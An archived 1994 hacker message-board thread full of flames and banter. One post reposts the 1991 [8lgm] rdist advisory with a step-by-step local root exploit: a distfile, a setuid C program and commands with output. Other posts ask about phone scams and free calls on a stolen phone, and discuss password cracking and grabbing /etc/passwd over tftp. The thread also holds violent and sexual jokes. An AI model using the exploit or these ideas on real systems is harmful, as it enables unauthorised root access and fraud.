Date: Tue Jul 12 00:41:00 1994
In message re: Phrack-44, Badger01 said:
> >But I won't hold it against you.
>
> Dude, you gotta watch it. That's a massive straight line. You left
> yourself way open with that one.
>
> But I won't hold it against you. :)
>
> Badger01
Seeing as how I didnt say the above quote you so gracefully attributed to
me I think I shall comment.
Get your fucking head out of your ass and reply to the right people moron.
Cosmos
From Badger01@yabbs Tue Jul 12 17:09:21 1994
From: Badger01@yabbs
To: cosmos@yabbs
Subject: re: Phrack-44
Date: Tue Jul 12 17:09:21 1994
>Get your fucking head out of your ass and reply to the right people
moron.
That you? Hate to reply incorrectly.
Boy, you must be really insecure about that microcephalic lump you use for
a cerebellum if that's the best insult you can come up with.
But it must be hard to be you, what with that endless font of banality
spewing forth and getting all over yourself like that...is being walking
excrement as painful as it seems? I figure I should ask you, since you are
the master of it, and I am interested in just how low you can sink. (BTW:
Naming yourself after a book that was disdained by almost everyone in
Astronomy and blown out of the water by Andrevich's TOTALITY LOG is fairly
disappointing...I come looking for the king of flames, and I find the
court jester holding the sceptre quaking in his palsied hands.)
Well, have a nice day, Mr. Originality.
Badger01
From Gnarr@yabbs Tue Jul 12 18:04:53 1994
From: Gnarr@yabbs
To: cosmos@yabbs
Subject: 1176
Date: Tue Jul 12 18:04:53 1994
Um...maybe I missed something cos...but maybe you should go back and read
message 1176....If I can read correctly..which I assume I can, you did
in fact write "but I won't hold it against you" in the message
:)
From Natalie@yabbs Tue Jul 12 18:26:33 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: Phrack-44
Date: Tue Jul 12 18:26:33 1994
billions and billions......
(in my best carl sagan voice, of course)
natalie
From feotus@yabbs Wed Jul 13 13:01:45 1994
From: feotus@yabbs
To: all@yabbs
Subject: 900 number
Date: Wed Jul 13 13:01:45 1994
Does anyone have the starting cost for a 900 number?
There are some neat scams you can run with them.
also, has anyone succesfully built a darkbox? I am trying to find the
schemetics for one, but no luck as the ones I found were corrupted.
From cosmos@yabbs Thu Jul 14 00:05:59 1994
From: cosmos@yabbs
To: all@yabbs
Subject: |<-RaD 3l33t sCr|PtZ d00d
Date: Thu Jul 14 00:05:59 1994
[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991:
This advisory has been sent to:
comp.security.unix
INFOHAX<infohax-emergency@stormking.com>
BUGTRAQ<chasin@crimelab.com>
CERT/CC<cert@cert.org>
===========================================================================
[8lgm]-Advisory-1.UNIX.rdist.23-Apr-1991
PROGRAM:
rdist(1)(/usr/ucb/rdist or /usr/bin/rdist)
VULNERABLE OS's:
SunOS 4.1.2 or earlier (Patch-ID# 100383-06 fixes this)
A/UX 2.0.1
SCO 3.2v4.2
BSD NET/2 Derived Systems
Most systems supporting BSD rdist
DESCRIPTION:
rdist(1) uses popen(3) to execute sendmail(8) as root. It can
therefore be made to execute arbitary programs as root.
IMPACT:
Any user with access to rdist(1) can become root.
REPEAT BY:
This example demonstrates how to become root on most affected
machines by creating a set-uid root shell. Please do not do
this unless you have permission.
Create the following file, 'distfile':
8<--------------------------- cut here ----------------------------
HOSTS = localhost
FILES = BullInTheHeather
${FILES} -> ${HOSTS}
install /tmp/1 ;
notify user ;
8<--------------------------- cut here ----------------------------
Create the following file, 'usr.c':
8<--------------------------- cut here ----------------------------
main()
{
setuid(0);
chown("sh", 0, 0);
chmod("sh", 04755);
exit(0);
}
8<--------------------------- cut here ----------------------------
(Lines marked with > represent user input)
>% cp /bin/sh .
>% cc -o usr usr.c
>% set path=(. $path)
>% setenv IFS /
>% rdist
updating host localhost
rdist: BullInTheHeather: No such file or directory
notify @localhost ( user )
>% ls -l
-rwsr-xr-x 1 root 106496 Mar 4 00:25 sh
>% ./sh
#
FIX:
1. Contact your vendor for a fix. Sun's latest rdist patch
(Patch-ID# 100383-06) fixes this hole in SunOS. Some vendors
closed this hole while fixing an unrelated problem published
by CERT in their advisory: CA-91:20.rdist.vulnerability.
2. In the meantime, restrict access to rdist.
FEEDBACK AND CONTACT INFORMATION:
8lgm-bugs@bagpuss.demon.co.uk(To report security flaws)
8lgm-request@bagpuss.demon.co.uk(Request for [8lgm] Advisories)
8lgm@bagpuss.demon.co.uk(General enquiries)
System Administrators are encouraged to contact us for any
other information they may require about the problems described
in this advisory.
We welcome reports about which platforms this flaw does or does
not exist on.
===========================================================================
From cosmos@yabbs Thu Jul 14 00:07:24 1994
From: cosmos@yabbs
To: all@yabbs
Subject: re: |<-RaD 3l33t sCr|PtZ d00d
Date: Thu Jul 14 00:07:24 1994
There you go kids. If you dont have one already...
Now, who says I dont give the kiddies anything??
Cosmos
From Quetzal@yabbs Thu Jul 14 14:41:34 1994
From: Quetzal@yabbs
To: all@yabbs
Subject: Cell phones
Date: Thu Jul 14 14:41:34 1994
I recently Jacked some businesman for a cell phone and was wondering if
there is some kind of way to get free calls without going through credit
checks, etc I was thinking about trashing around certain service
providers to find serial numbers... mail any suggestion to
Quetzal@cyberspace.org
From cosmos@yabbs Thu Jul 14 16:57:58 1994
From: cosmos@yabbs
To: Quetzal@yabbs
Subject: re: Cell phones
Date: Thu Jul 14 16:57:58 1994
In message Cell phones, Quetzal said:
> I recently Jacked some businesman for a cell phone and was wondering if
> there is some kind of way to get free calls without going through credit
> checks, etc I was thinking about trashing around certain service
> providers to find serial numbers... mail any suggestion to
> Quetzal@cyberspace.org
>
Jacked??!! Must be an elite term for pilfered. Fucking thieves...
Cosmos
From dmonger@yabbs Thu Jul 14 18:20:22 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: Cell phones
Date: Thu Jul 14 18:20:22 1994
oh well cosmos,
i was happy to see you don't seem to swear as much on 386bsd boards tho
or was that not you.
-peter
From cosmos@yabbs Fri Jul 15 00:11:06 1994
From: cosmos@yabbs
To: dmonger@yabbs
Subject: re: Cell phones
Date: Fri Jul 15 00:11:06 1994
In message re: Cell phones, dmonger said:
> oh well cosmos,
>
> i was happy to see you don't seem to swear as much on 386bsd boards tho
>
> or was that not you.
>
> -peter
>
That was my angelic twin.
Cosmos
From Skywise@yabbs Fri Jul 15 10:02:53 1994
From: Skywise@yabbs
To: all@yabbs
Subject: re:
Date: Fri Jul 15 10:02:53 1994
I like #hack/
.s
.S
/s
From Coren@yabbs Fri Jul 15 13:34:11 1994
From: Coren@yabbs
To: all@yabbs
Subject: DOD breakins
Date: Fri Jul 15 13:34:11 1994
Just curious if anyone else heard about the breakins at the
Department of Defense. Seems somone ran a lot of scripts against them.
The article said there as one arrest. Anyone else have news?
Chaos.
Artimage.-
From cosmos@yabbs Fri Jul 15 14:39:45 1994
From: cosmos@yabbs
To: Coren@yabbs
Subject: re: DOD breakins
Date: Fri Jul 15 14:39:45 1994
In message DOD breakins, Coren said:
> Just curious if anyone else heard about the breakins at the
> Department of Defense. Seems somone ran a lot of scripts against them.
> The article said there as one arrest. Anyone else have news?
> Chaos.
> Artimage.-
Stupid is as Stupid does. (quote of the day)
Even 99% of the wanker script c0d3z kiddies knows enough NOT to run
scripts on the DoD.
Hope they fucking fry em.
Cosmos
From bart@yabbs Fri Jul 15 18:08:56 1994
From: bart@yabbs
To: all@yabbs
Subject: Hacking The Inet.
Date: Fri Jul 15 18:08:56 1994
Yo.
Heres a tip to hacking on the internet...I got this as an inside
tip...dont spread it around too much
<Arabic> I got into TELENENET 130.160.156.75 like you said, asked for name
and password...127.0.0.1.19 didn't work
Telnet to that site ^^^^^^^^^^^^^^^^ for hacking tips...
-=-BarT-=-
From bart@yabbs Fri Jul 15 18:11:12 1994
From: bart@yabbs
To: Coren@yabbs
Subject: re: DOD breakins
Date: Fri Jul 15 18:11:12 1994
Yea A Man!!! I heared about that That Wuz KKoool
breaking in To PLaces is cool..
I BrokE into my School ONce and Stole The disks in THe ComPUter Lab there
Was Pac Frogger and Karateka on THEm I also FormAteted the hardDrives
hahahahahahahhaAHAhaHAHah!
I also Took sujm HCalk!
-=-BarT-=-
From Natalie@yabbs Sat Jul 16 15:46:28 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: DOD breakins
Date: Sat Jul 16 15:46:28 1994
hey cos...didja just see forrest gump? he always said stupid is a stupid
does...
(hooboy....and is THAT ever off topic...*snigger*)
natlie
From cosmos@yabbs Sat Jul 16 18:59:46 1994
From: cosmos@yabbs
To: Natalie@yabbs
Subject: re: DOD breakins
Date: Sat Jul 16 18:59:46 1994
In message re: DOD breakins, Natalie said:
> hey cos...didja just see forrest gump? he always said stupid is a stupid
> does...
>
> (hooboy....and is THAT ever off topic...*snigger*)
>
> natliie
I am Forest Gump.
Cosmos
From mike4721@yabbs Sat Jul 16 20:16:51 1994
From: mike4721@yabbs
To: all@yabbs
Subject: New Hacker
Date: Sat Jul 16 20:16:51 1994
I'm a new hacker, does anyone have some numbers and passwords to help me
out? I have america online and my address is RoboHak@AOL.com and my BIX
address is mike4721@BIX.com! please help me if you can!!!!!!!!
Robo Hak
From slohack@yabbs Sat Jul 16 21:22:30 1994
From: slohack@yabbs
To: mike4721@yabbs
Subject: re: New Hacker
Date: Sat Jul 16 21:22:30 1994
Don't expect people to just give you account&passwd's. Learn about
hacking don't expect everything to be handed to you and how can you expect
people to take you seriously if you ask for something illegal (accounts)
and tell them to send them to you legit accounts on BIX and AOL!!!
^^^
/
hmm....
From slohack@yabbs Sat Jul 16 21:33:19 1994
From: slohack@yabbs
To: slohack@yabbs
Subject: re: New Hacker
Date: Sat Jul 16 21:33:19 1994
Guess my reply was a little nicer then cos's will be......
-slohack
awaiting an entertaing reply from cosmos.....
From cosmos@yabbs Sun Jul 17 00:36:26 1994
From: cosmos@yabbs
To: mike4721@yabbs
Subject: re: New Hacker
Date: Sun Jul 17 00:36:26 1994
In message New Hacker, mike4721 said:
> I'm a new hacker, does anyone have some numbers and passwords to help me
> out? I have america online and my address is RoboHak@AOL.com and my BIX
> address is mike4721@BIX.com! please help me if you can!!!!!!!!
>
> Robo Hak
My standard advice:
Large caliber handgun...close range.
Cosmos
From bart@yabbs Sun Jul 17 03:07:13 1994
From: bart@yabbs
To: cosmos@yabbs
Subject: two r's
Date: Sun Jul 17 03:07:13 1994
Forrest Gump.
-=-BarT-=-
From bart@yabbs Sun Jul 17 03:08:45 1994
From: bart@yabbs
To: mike4721@yabbs
Subject: re: New Hacker
Date: Sun Jul 17 03:08:45 1994
mike blurted the following:
---------------------------
Im a new hacker,does anyone have some num..blah blah blah blahhhblah
blah blah blahb blah,blah blahhhh?
----------------------------
gpf....hand me another pair of pants.
-=-BarT-=-
From bart@yabbs Sun Jul 17 03:10:05 1994
From: bart@yabbs
To: cosmos@yabbs
Subject: re: New Hacker
Date: Sun Jul 17 03:10:05 1994
Cosmos spat sum shit like this:
-----------------------------
advivce..
Large Gun...CLose Range..
how about a small gun..repeated shots..?
-=-BarT-=-
From GPF@yabbs Sun Jul 17 12:01:44 1994
From: GPF@yabbs
To: bart@yabbs
Subject: re: New Hacker
Date: Sun Jul 17 12:01:44 1994
bart wrote:
>how about a small gun..repeated shots..?
nope.... he might go unconscious before he actually cracked his obviously
thick skull....
From bart@yabbs Sun Jul 17 12:23:51 1994
From: bart@yabbs
To: GPF@yabbs
Subject: dead hackerz.
Date: Sun Jul 17 12:23:51 1994
Gpf Chanted the following bullshit:
___________________________________________
nope,he might go unconscsious before he actually cracked his skull.
- **************************************************************************
- *****
cool then we can fondle and grope him...always wanted to do that to a dead
hacker....*gasp moan slobber pant*
-=-BarT-=-
From Natalie@yabbs Sun Jul 17 14:39:08 1994
From: Natalie@yabbs
To: cosmos@yabbs
Subject: re: DOD breakins
Date: Sun Jul 17 14:39:08 1994
oh look. i can't even spell my name right.
natalie
From Natalie@yabbs Sun Jul 17 14:40:42 1994
From: Natalie@yabbs
To: bart@yabbs
Subject: re: dead hackerz.
Date: Sun Jul 17 14:40:42 1994
alt.sex.necrophilia.hacker
natalie
From bart@yabbs Sun Jul 17 18:21:13 1994
From: bart@yabbs
To: Natalie@yabbs
Subject: re: dead hackerz.
Date: Sun Jul 17 18:21:13 1994
Nat rapped this line:
--=-=-=-=-=-=-=-=-=-=-=-
alt.sex.necrophilia.hacker
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- slobber pant moan giggle rub self*
-=-BarT-=-
From GPF@yabbs Sun Jul 17 22:23:46 1994
From: GPF@yabbs
To: bart@yabbs
Subject: re: dead hackerz.
Date: Sun Jul 17 22:23:46 1994
judging by some of the ppl that have shown up on this board lately i'd say
alt.sex.pedophilia.warez.d00dz would be more appropriate.
From Xela@yabbs Mon Jul 18 02:21:50 1994
From: Xela@yabbs
To: Natalie@yabbs
Subject: re: dead hackerz.
Date: Mon Jul 18 02:21:50 1994
Hey, necrophilia is the safest sex going around. You just can't beat it.
X
From Badger01@yabbs Mon Jul 18 14:43:46 1994
From: Badger01@yabbs
To: all@yabbs
Subject: I'm a federal agent...
Date: Mon Jul 18 14:43:46 1994
Hi, I'm a federal agent pretending to be a hacker...could somebody
incriminate themselves, please?
Jesus, how stupid can they get?
Badger01
From dmonger@yabbs Mon Jul 18 15:12:57 1994
From: dmonger@yabbs
To: Badger01@yabbs
Subject: re: I'm a federal agent...
Date: Mon Jul 18 15:12:57 1994
nah, i can't believe even the feds are that stoopid :)
must be a real hacker
-peter
From Carsenio@yabbs Tue Jul 19 19:05:34 1994
From: Carsenio@yabbs
To: all@yabbs
Subject: general spew
Date: Tue Jul 19 19:05:34 1994
hmm.. pardon the candor but I just returned to this bbs after a long
period of time to see how this message base was going, decided to read the
last 15 messages or so, and either i'm hopelessly disillusioned or those
messages were filled with absolutely nothing. Now I realize you all can't
stay on topic all the time, but hey.. save the sysop sum fuqn disk space
will ya... i think i'll be back in another couple months or so.
with love..
-carsenio
From dmonger@yabbs Tue Jul 19 19:26:32 1994
From: dmonger@yabbs
To: Carsenio@yabbs
Subject: re: general spew
Date: Tue Jul 19 19:26:32 1994
In message general spew, Carsenio said:
> hmm.. pardon the candor but I just returned to this bbs after a long
> period of time to see how this message base was going, decided to read the
> last 15 messages or so, and either i'm hopelessly disillusioned or those
> messages were filled with absolutely nothing. Now I realize you all can't
oh goodie. yet another person to tell us all what should be on #hack ..
just what were were missing
> stay on topic all the time, but hey.. save the sysop sum fuqn disk space
> will ya... i think i'll be back in another couple months or so.
we'll be anxiously awaiting your return
-peter
From brael@yabbs Wed Jul 20 05:19:18 1994
From: brael@yabbs
To: all@yabbs
Subject: hmmm
Date: Wed Jul 20 05:19:18 1994
n e 1 know accurately what the difference between FGA,FGB,FGC,FGD
calls r?.. i think feature grp a is normal pots phone calls..
fgc's r like 950's and FGD is 800 but im not sure about FGB..
whoops i meant FGC .. im wondering if there's n e pratical purpose
behind formatting FGC originating and terminating phone calls..
i always get all telco curious when i smoke green kind..
brael@crl.c0m
From brael@yabbs Sat Jul 23 05:24:04 1994
From: brael@yabbs
To: brael@yabbs
Subject: 3lee---->T!
Date: Sat Jul 23 05:24:04 1994
k-rad NUI: parmasterx75
uuuh or was it t.spnb01
26245400080177 bound eye m!haaa
@ll h@quorz r stupid
From gritos@yabbs Sun Jul 24 03:19:04 1994
From: gritos@yabbs
To: brael@yabbs
Subject: nui...
Date: Sun Jul 24 03:19:04 1994
hello man!
do ya have the dial-up for k-rad??
tnxs!
El Griton
From gritos@yabbs Sun Jul 24 03:19:50 1994
From: gritos@yabbs
To: all@yabbs
Subject: hp sites..
Date: Sun Jul 24 03:19:50 1994
Hello...
Anybody knows ftp sites with hp stuff?
tnxs!
El Griton
From GPF@yabbs Sun Jul 24 10:13:15 1994
From: GPF@yabbs
To: gritos@yabbs
Subject: re: hp sites..
Date: Sun Jul 24 10:13:15 1994
In message hp sites.., gritos incoherently babbled the following:
> Hello...
> Anybody knows ftp sites with hp stuff?
>
> tnxs!
>
>
> El Griton
yeah man, i hear there's some cool \/\/aR3Z at a telnet bbs at 127.0.0.1
port 19....
0 dayZ d00d!!
|<-RaD rDiSt s|<RiPtZ To0
sorry, i couldn't resist...
...gpf
From cosmos@yabbs Sun Jul 24 13:05:06 1994
From: cosmos@yabbs
To: gritos@yabbs
Subject: re: nui...
Date: Sun Jul 24 13:05:06 1994
In message nui..., gritos said:
> hello man!
> do ya have the dial-up for k-rad??
> tnxs!
>
> El Griton
And you though they couldnt possibly get any more lame...
Cosmos
From chaos@yabbs Sun Jul 24 13:21:01 1994
From: chaos@yabbs
To: all@yabbs
Subject: FTP Sites
Date: Sun Jul 24 13:21:01 1994
Heres a FTP site listing...
Phrack can be found at ftp.fc.net in /pub/phrack now.
bongo.cc.utexas.edu /pub/mccoy/computer-underground
atomic.llc.org
corrupt.sekurity.com
crimelab.com
ideal.ios.net
spy.org /pub/SECURITY
netcom.com /pub/bradleym
paranoia.com
enjoy..
CHA0S
From N_Rex@yabbs Sun Jul 24 16:44:26 1994
From: N_Rex@yabbs
To: gritos@yabbs
Subject: HP Sites
Date: Sun Jul 24 16:44:26 1994
Do you have fsp access? I might be able to point you to a site or two
there. Whats in it for me?
Nervous Rex
From GPF@yabbs Sun Jul 24 17:51:00 1994
From: GPF@yabbs
To: N_Rex@yabbs
Subject: re: HP Sites
Date: Sun Jul 24 17:51:00 1994
In message HP Sites, N_Rex said:
> Do you have fsp access? I might be able to point you to a site or two
> there. Whats in it for me?
> Nervous Rex
d00d, 3y3 hav3 th3 |<-raD \/\/iNd0z3 4.O b3t4, d00d
3y3 als0 #av3 phr0gg3r f0r th3 (64
From GPF@yabbs Sun Jul 24 17:57:22 1994
From: GPF@yabbs
To: chaos@yabbs
Subject: re: FTP Sites
Date: Sun Jul 24 17:57:22 1994
In message FTP Sites, chaos incoherently ranted the following:
>
> ideal.ios.net
^^^^^^----------|<-RaD alt.26OO archive (no, i'm not making this up)
here is the login announcement for your amusement:
230-There are currently 1 out of a max 2 anonymous ftp users.
230-
230- /pub/2600 - alt.2600 archive
230- /pub/frb - Free Radio Berkeley
230- /pub/hack - Misc. Files
230- /pub/pyro - PYRO Files
230- /pub/magik - MAGIK Magazine Issues #1-2
230-
230-Send all bugs/comments/suggestions/money to 'chris@ideal.ios.net'
230- If you need a home for something just let me know!
230-
230- h4ppy h4c/<1/\/g!
230-
> spy.org /pub/SECURITY
> netcom.com /pub/bradleym
> paranoia.com
>
> enjoy..
>
> CHA0S
you put that ftp site up as a joke, right?
From dmonger@yabbs Sun Jul 24 18:46:19 1994
From: dmonger@yabbs
To: GPF@yabbs
Subject: re: HP Sites
Date: Sun Jul 24 18:46:19 1994
ya know ... when you argue a lot with two years old, people soon start to
wonder who's older :)
-peter
From kristo@yabbs Sun Jul 24 19:24:23 1994
From: kristo@yabbs
To: GPF@yabbs
Subject: re: hp sites..
Date: Sun Jul 24 19:24:23 1994
I got a better one.. try this: ftp ftp.microsoft.com and download
bunch of Machosoft hot -1 day wareZ..
.. and no, I couldn't resist either, how lame. ;)
From brael@yabbs Mon Jul 25 04:51:46 1994
From: brael@yabbs
To: kristo@yabbs
Subject: re: hp sites..
Date: Mon Jul 25 04:51:46 1994
oooooh n0 the k-k3wln d00dn sarKASM tip is getting bloody RAPED!..
fuckfuckfuck... some1 flow me some air..
brael
From UncleSid@yabbs Mon Jul 25 23:53:35 1994
From: UncleSid@yabbs
To: all@yabbs
Subject: crack etc.
Date: Mon Jul 25 23:53:35 1994
HEY! I found this cool program call Crack...I thought it was like a file
on crack the drug ya know? Well I fooled around with it on my system and
ya know what...it shows the passwords! IT was cool I looged in as some
people and played around with their account...anyways I ftp'd it from
192.195.202.22 if anyone wants it...I also have some sites with pirated
shit If yer interested
From cosmos@yabbs Mon Jul 25 23:56:05 1994
From: cosmos@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Mon Jul 25 23:56:05 1994
In message crack etc., UncleSid said:
> HEY! I found this cool program call Crack...I thought it was like a file
> on crack the drug ya know? Well I fooled around with it on my system and
> ya know what...it shows the passwords! IT was cool I looged in as some
> people and played around with their account...anyways I ftp'd it from
> 192.195.202.22 if anyone wants it...I also have some sites with pirated
> shit If yer interested
I smell setup....nobody is this stupid.
Cosmos
From dmonger@yabbs Mon Jul 25 23:59:33 1994
From: dmonger@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Mon Jul 25 23:59:33 1994
Uncle Sid? (sam?) |<00|_
ugh, now i remember why i like shadowed password files ... anyway
the worlds full of morons
too bad yabbs seems to be finally getting its share
-peter
From Death@yabbs Tue Jul 26 00:57:00 1994
From: Death@yabbs
To: dmonger@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 00:57:00 1994
Sadly, it was inevitable...
--Death
From UncleSid@yabbs Tue Jul 26 01:22:36 1994
From: UncleSid@yabbs
To: all@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 01:22:36 1994
Was that a pathetic attemp at a flame? why did you flmame me
anyways..this ius #hack aint' it? I didnt' post on the wrong group did
i...so why did you try and flame me..jeez...you guys are patehtic
From Death@yabbs Tue Jul 26 01:48:01 1994
From: Death@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 01:48:01 1994
Just to let you know, in case you really ARE that out of it... Crack is
known about by around 90% of the sys admins of the world... due to the
amount of CPU time it hogs it is also very recognizable as being itself...
Also several sysadmins use it themselves to check their system's
integrity. If you are caught running it you WILL get in trouble, and
unless your sysadmin is a moron, you will be caught...
--Death
From Skywise@yabbs Tue Jul 26 09:31:28 1994
From: Skywise@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 09:31:28 1994
gimmegimmegimme
From Skywise@yabbs Tue Jul 26 09:33:19 1994
From: Skywise@yabbs
To: Death@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 09:33:19 1994
yous guys guts no sense of humor
sheeeesh
From Badger01@yabbs Tue Jul 26 09:50:09 1994
From: Badger01@yabbs
To: cosmos@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 09:50:09 1994
Yet again, someone MYSTERIOUSLY shows up with something antsy.
You think we're being watched?
Badger01
"Paranoia is just heightened awareness"
From nirvana@yabbs Tue Jul 26 11:24:27 1994
From: nirvana@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 11:24:27 1994
To prove ur credentials , u had better give us some proof of ur 'pirated
shit' sites
how about posting them ...
toodle-oodle
From GPF@yabbs Tue Jul 26 12:08:58 1994
From: GPF@yabbs
To: nirvana@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 12:08:58 1994
In message re: crack etc., nirvana moronically ranted the following:
> To prove ur credentials , u had better give us some proof of ur 'pirated
> shit' sites
>
> how about posting them ...
>
> toodle-oodle
oh yeah, post them on a public bbs, good idea.. did someone post the
address of yabbs on a \/\/aR3Z bbs is west virginia or something?
christ.....
From Skywise@yabbs Tue Jul 26 17:30:56 1994
From: Skywise@yabbs
To: GPF@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 17:30:56 1994
|_i|<3 3y3 s3d, n0 c3nts u\/ HuMoR
From Natalie@yabbs Tue Jul 26 19:46:45 1994
From: Natalie@yabbs
To: nirvana@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 19:46:45 1994
oh pleeeeeeeeeeease.
natalie
From UncleSid@yabbs Tue Jul 26 21:56:33 1994
From: UncleSid@yabbs
To: all@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 21:56:33 1994
Heh, i've been runnign crack on a few different systems and no one said
anyhting yet...so waht do you have to say for yourselvees now.
Hey, they gave me 99 lines :)
From bart@yabbs Tue Jul 26 22:10:05 1994
From: bart@yabbs
To: all@yabbs
Subject: NO?!
Date: Tue Jul 26 22:10:05 1994
Insert some mindless moronic drivel about 'finding' a password craciker
here and offer pr8'd shit...
three words!
haw
haw
haw
RELEASE THE HOUNDS!
-=-BarT-=-
From bart@yabbs Tue Jul 26 22:11:11 1994
From: bart@yabbs
To: UncleSid@yabbs
Subject: strike one!
Date: Tue Jul 26 22:11:11 1994
try ALT.MORONIC.FUCK.UPS
-=-BarT-=-
From bart@yabbs Tue Jul 26 22:12:45 1994
From: bart@yabbs
To: GPF@yabbs
Subject: echochat!
Date: Tue Jul 26 22:12:45 1994
gpffffffffff!
EcHOcHaT aND rAd waLdO THE !3 yR OLD HACKER SLASH dj
HaWhAHHWAHWH
stop yer killing me!
-=-BarT-=-
From GPF@yabbs Tue Jul 26 22:30:34 1994
From: GPF@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Tue Jul 26 22:30:34 1994
wow, you can crack passwords by leeching off the work of others, i hope
that one day i can be as cool as you.
From nieva@yabbs Tue Jul 26 23:04:34 1994
From: nieva@yabbs
To: all@yabbs
Subject: ware's?
Date: Tue Jul 26 23:04:34 1994
i was downloading software last nite and thout: shareware sucks1 i need
real programs! does this place have ware's?
From phenelge@yabbs Tue Jul 26 23:26:22 1994
From: phenelge@yabbs
To: all@yabbs
Subject: re: ware's?
Date: Tue Jul 26 23:26:22 1994
Jeeeezus H. Christ!
Get a clue, Uncle_Sid and Nieva! Personally, Nieva's sounds like bullshit
if I ever read it. Next she's gonna say she has an account on AOL.
Oh, here's an idea I've had... I haven't even bothered trying it, it just
popped into my head last nite...
Why not use tftp to get /etc/password, then retool Crack to decode it?
tftp is sort of a really stupid version of ftp, and allows you into the
real /ect folder. If you named Crack something like PGP, it could work. I
haven't looked at Crack source in a while, it's generally sort of a lamer
tool (U_S!!!) but this could sort of be interesting. Does anyone have an
opinion on this?
From bart@yabbs Wed Jul 27 00:11:35 1994
From: bart@yabbs
To: nieva@yabbs
Subject: re: ware's?
Date: Wed Jul 27 00:11:35 1994
nieva babbled this shit:
i was downloading software last nite and thout: shareware sucks1 i need
real programs! does this place have ware's?
----------------------------------------------------
'warez' are illegal and you are discussing illegal activities..
we will have none of that on here,pal.....Register or Die!
I have to go I am singing in my Church Choir tonight....
May God Smile Upon You
Biff 7:21
Saint Bart
From cosmos@yabbs Wed Jul 27 00:15:00 1994
From: cosmos@yabbs
To: nieva@yabbs
Subject: re: ware's?
Date: Wed Jul 27 00:15:00 1994
In message ware's?, nieva said:
> i was downloading software last nite and thout: shareware sucks1 i need
> real programs! does this place have ware's?
You know, I was reading this message base and thought: these users are
complete fucking wankers.
Cosmos
From cosmos@yabbs Wed Jul 27 00:16:13 1994
From: cosmos@yabbs
To: phenelge@yabbs
Subject: re: ware's?
Date: Wed Jul 27 00:16:13 1994
In message re: ware's?, phenelge said:
> Jeeeezus H. Christ!
> Get a clue, Uncle_Sid and Nieva! Personally, Nieva's sounds like bullshit
> if I ever read it. Next she's gonna say she has an account on AOL.
>
> Oh, here's an idea I've had... I haven't even bothered trying it, it just
> popped into my head last nite...
> Why not use tftp to get /etc/password, then retool Crack to decode it?
> tftp is sort of a really stupid version of ftp, and allows you into the
> real /ect folder. If you named Crack something like PGP, it could work. I
> haven't looked at Crack source in a while, it's generally sort of a lamer
> tool (U_S!!!) but this could sort of be interesting. Does anyone have an
> opinion on this?
And they call this hacking??
Cosmos
From Natalie@yabbs Wed Jul 27 00:24:38 1994
From: Natalie@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Wed Jul 27 00:24:38 1994
lamer
wanker
fuckhead
natalie
From Natalie@yabbs Wed Jul 27 00:26:48 1994
From: Natalie@yabbs
To: UncleSid@yabbs
Subject: re: crack etc.
Date: Wed Jul 27 00:26:48 1994
even i'm not that dumb. and i'm notorious for not knowing a damn thing
about computers. so what does this say about you?
natalie
From brael@yabbs Wed Jul 27 03:25:16 1994
From: brael@yabbs
To: phenelge@yabbs
Subject: re: ware's?
Date: Wed Jul 27 03:25:16 1994
on ur crack ideas.. a) tftp grabs of etc/passwd are waaaaay outdated
and are rare finds.. although good to use if ur on an x25 system or an
entirely self-sustained network where security conciousness isn't has
..as high as the inet.. b) why bother using/smoking crack when you can
run password crackers like PCUPWC on ur 486 66mhz PC isolated from n e 1
and every1.. n passwd crackers don't d0 jack on a system that requires
digits and non-dictionary passwd entries..
p.s.
n e 1 here wanna talk 1aeSs switch theory email me
brael@crl.com
From Skywise@yabbs Wed Jul 27 09:56:38 1994
From: Skywise@yabbs
To: Natalie@yabbs
Subject: re: crack etc.
Date: Wed Jul 27 09:56:38 1994
lamer
wanker
fuckhead
natalie
Q: Which descriptive word in the above list does not belong with the other
three and why?
From Skywise@yabbs Wed Jul 27 09:57:18 1994
From: Skywise@yabbs
To: Natalie@yabbs
Subject: re: crack etc.
Date: Wed Jul 27 09:57:18 1994
A: natalie. It has three syllables while the other words have only two.
From Quetzal@yabbs Wed Jul 27 11:37:27 1994
From: Quetzal@yabbs
To: arachnoi@yabbs
Subject: re: crackers
Date: Wed Jul 27 11:37:27 1994
This is not directed to you Arachnoi... But why is this sub named Hack,
It should be called the dumping ground!
Quetzal
From Natalie@yabbs Wed Jul 27 12:38:59 1994
From: Natalie@yabbs
To: Skywise@yabbs
Subject: re: crack etc.
Date: Wed Jul 27 12:38:59 1994
heheh *smirk*
i dunno....you tell me...i'm too stooooooopid to know
natalie
From dmonger@yabbs Thu Jul 28 09:11:54 1994
From: dmonger@yabbs
To: Gnarr@yabbs
Subject: re: crack etc.
Date: Thu Jul 28 09:11:54 1994
<html>
<head>
<title>Rant Rant Rant</title>
<body>
<h1>Rant Rant Rant</h1>
<rant>
I dunno, maybe i'm the only one who's getting sick of this ... maybe not.
Are there really so many clueless morons (please note the non-use of the word
wanker which i feel has already been used too much in this thread).
I mean, is it just me or do you have to be the fucking scarecrow to ask for
warez (please note the use of real letters as i feel the warez-puppy alphabet
has also become much too overused on this board :) in the open on a public
bbs.
I constantly tell people to get a clue because they seem to be lacking one
very badly. There are certain things you just don't do until after the
labotomy. Like asking the clerk in a store if its okay to stuff $500 worth of
merchanise into your big black coat and stroll out past the register. Or
saying hey mr. police man, mind if i shoot you?
If you want to know why we're so hostile i can explain (except for cosmos, i
